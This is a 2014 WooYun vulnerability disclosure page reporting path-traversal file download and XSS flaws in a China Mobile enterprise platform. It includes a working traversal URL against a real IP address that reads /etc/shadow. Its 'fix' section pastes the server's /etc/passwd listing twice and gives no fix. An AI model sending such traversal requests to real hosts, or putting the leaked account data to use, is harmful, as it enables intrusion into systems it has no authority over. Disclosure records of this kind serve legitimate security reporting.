当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065199

漏洞标题:中国移动企业信息化平台任意文件下载+XSS漏洞(可直接读取shadow)

相关厂商:中国移动

漏洞作者: Teufel

提交时间:2014-06-19 15:26

修复时间:2014-08-03 15:28

公开时间:2014-08-03 15:28

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-19: 细节已通知厂商并且等待厂商处理中
2014-06-23: 厂商已经确认,细节仅向厂商公开
2014-07-03: 细节向核心白帽子及相关领域专家公开
2014-07-13: 细节向普通白帽子公开
2014-07-23: 细节向实习白帽子公开
2014-08-03: 细节向公众公开

简要描述:

中国移动企业信息化平台动力100权限配置不当导致命令执行任意下载及XSS跨站漏洞

详细说明:

中国移动企业信息化平台动力100权限配置不当导致命令执行任意下载及XSS跨站漏洞
shadow文件、passwd文件等一览无遗
http://211.139.69.27:8080/euap/download?fileName=help.doc&filePath=../../../../../../../../../../../etc/shadow

漏洞证明:

直接上图
shadow文件

shadow.jpg


passwd文件

passwd.jpg


XSS跨站

XSS.jpg


XSS跨站2

XSS2.jpg

修复方案:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:Daemon:/sbin:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/false
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
games:x:12:100:Games account:/var/games:/bin/false
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/false
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/false
messagebus:*:100:101:User for D-Bus:/var/run/dbus:/bin/false
haldaemon:*:101:102:User for haldaemon:/var/run/hald:/bin/false
sshd:*:71:65:SSH daemon:/var/lib/sshd:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/false
news:x:9:13:News system:/etc/news:/bin/false
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/false
uuidd:x:102:103:User for uuidd:/var/run/uuidd:/bin/false
quagga:x:103:106:Quagga routing daemon:/var/run/quagga:/usr/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
ldap:x:76:70:User for OpenLDAP:/var/lib/ldap:/bin/false
mysql:x:60:109:MySQL database admin:/var/lib/mysql:/bin/false
dnsmasq:x:105:65534:dnsmasq:/var/lib/empty:/bin/false
cyrus:x:96:12:User for cyrus-imapd:/usr/lib/cyrus:/bin/false
vscan:x:65:110:Vscan account:/var/spool/amavis:/bin/false
named:x:44:44:Name server daemon:/var/lib/named:/bin/false
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/false
squid:x:31:65534:WWW-proxy squid:/var/cache/squid:/bin/false
ntp:x:74:111:NTP daemon:/var/lib/ntp:/bin/false
mailman:x:72:67:GNU mailing list manager:/var/lib/mailman:/bin/false
fetchmail:x:106:2:mail retrieval daemon:/var/lib/fetchmail:/bin/false
polkituser:x:107:112:PolicyKit:/var/run/PolicyKit:/bin/false
pulse:x:108:113:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
dhcpd:x:109:65534:DHCP server daemon:/var/lib/dhcp:/bin/false
suse-ncc:x:110:115:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/false
gdm:x:111:116:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
ftpsecure:x:112:65534:Secure FTP User:/var/lib/empty:/bin/false
euap:x:2003:200::/home/euap:/bin/bash
eump:x:2004:200::/home/eump:/bin/bash
siagent:x:2005:200::/home/siagent:/bin/bash
oracle:x:1079:107::/opt/oracle:/bin/bash
xz4aadc:x:1006:1004::/home/xz4a:/bin/bash

看着整吧

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:Daemon:/sbin:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/false
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
games:x:12:100:Games account:/var/games:/bin/false
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/false
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/false
messagebus:*:100:101:User for D-Bus:/var/run/dbus:/bin/false
haldaemon:*:101:102:User for haldaemon:/var/run/hald:/bin/false
sshd:*:71:65:SSH daemon:/var/lib/sshd:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/false
news:x:9:13:News system:/etc/news:/bin/false
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/false
uuidd:x:102:103:User for uuidd:/var/run/uuidd:/bin/false
quagga:x:103:106:Quagga routing daemon:/var/run/quagga:/usr/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
ldap:x:76:70:User for OpenLDAP:/var/lib/ldap:/bin/false
mysql:x:60:109:MySQL database admin:/var/lib/mysql:/bin/false
dnsmasq:x:105:65534:dnsmasq:/var/lib/empty:/bin/false
cyrus:x:96:12:User for cyrus-imapd:/usr/lib/cyrus:/bin/false
vscan:x:65:110:Vscan account:/var/spool/amavis:/bin/false
named:x:44:44:Name server daemon:/var/lib/named:/bin/false
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/false
squid:x:31:65534:WWW-proxy squid:/var/cache/squid:/bin/false
ntp:x:74:111:NTP daemon:/var/lib/ntp:/bin/false
mailman:x:72:67:GNU mailing list manager:/var/lib/mailman:/bin/false
fetchmail:x:106:2:mail retrieval daemon:/var/lib/fetchmail:/bin/false
polkituser:x:107:112:PolicyKit:/var/run/PolicyKit:/bin/false
pulse:x:108:113:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
dhcpd:x:109:65534:DHCP server daemon:/var/lib/dhcp:/bin/false
suse-ncc:x:110:115:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/false
gdm:x:111:116:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
ftpsecure:x:112:65534:Secure FTP User:/var/lib/empty:/bin/false
euap:x:2003:200::/home/euap:/bin/bash
eump:x:2004:200::/home/eump:/bin/bash
siagent:x:2005:200::/home/siagent:/bin/bash
oracle:x:1079:107::/opt/oracle:/bin/bash
xz4aadc:x:1006:1004::/home/xz4a:/bin/bash

版权声明:转载请注明来源 Teufel@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-06-23 22:40

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报给中国移动集团公司处置。

最新状态:

暂无